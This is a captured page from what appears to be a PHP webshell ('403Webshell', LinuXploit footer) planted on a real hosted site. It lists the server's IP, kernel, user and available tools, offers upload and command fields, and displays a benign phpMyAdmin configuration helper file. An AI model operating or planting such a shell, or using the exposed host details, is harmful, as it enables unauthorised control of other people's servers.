403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.39
Web Server : Apache
System : Linux webm005.cluster102.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : symetry ( 21728)
PHP Version : 8.2.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/symetry/www/ARCHIVES/beta/pma/libraries/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/symetry/www/ARCHIVES/beta/pma/libraries/config/config_functions.lib.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Common config manipulation functions
 *
 * @package PhpMyAdmin
 */

/**
 * Returns sanitized language string, taking into account our special codes
 * for formatting. Takes variable number of arguments.
 * Based on PMA_sanitize from sanitize.lib.php.
 *
 * @param string $lang_key key in $GLOBALS WITHOUT 'strSetup' prefix
 * @param mixed  $args     arguments for sprintf
 *
 * @return string
 */
function PMA_lang($lang_key, $args = null)
{
    $message = isset($GLOBALS["strConfig$lang_key"])
        ? $GLOBALS["strConfig$lang_key"] : $lang_key;

    $message = PMA_sanitize($message);

    if (func_num_args() == 1) {
        return $message;
    } else {
        $args = func_get_args();
        array_shift($args);
        return vsprintf($message, $args);
    }
}

/**
 * Returns translated field name/description or comment
 *
 * @param string $canonical_path path to handle
 * @param string $type           'name', 'desc' or 'cmt'
 * @param mixed  $default        default value
 *
 * @return string
 */
function PMA_langName($canonical_path, $type = 'name', $default = 'key')
{
    $lang_key = str_replace(
        array('Servers/1/', '/'),
        array('Servers/', '_'),
        $canonical_path
    ) . '_' . $type;
    return isset($GLOBALS["strConfig$lang_key"])
        ? ($type == 'desc' ? PMA_lang($lang_key) : $GLOBALS["strConfig$lang_key"])
        : ($default == 'key' ? $lang_key : $default);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit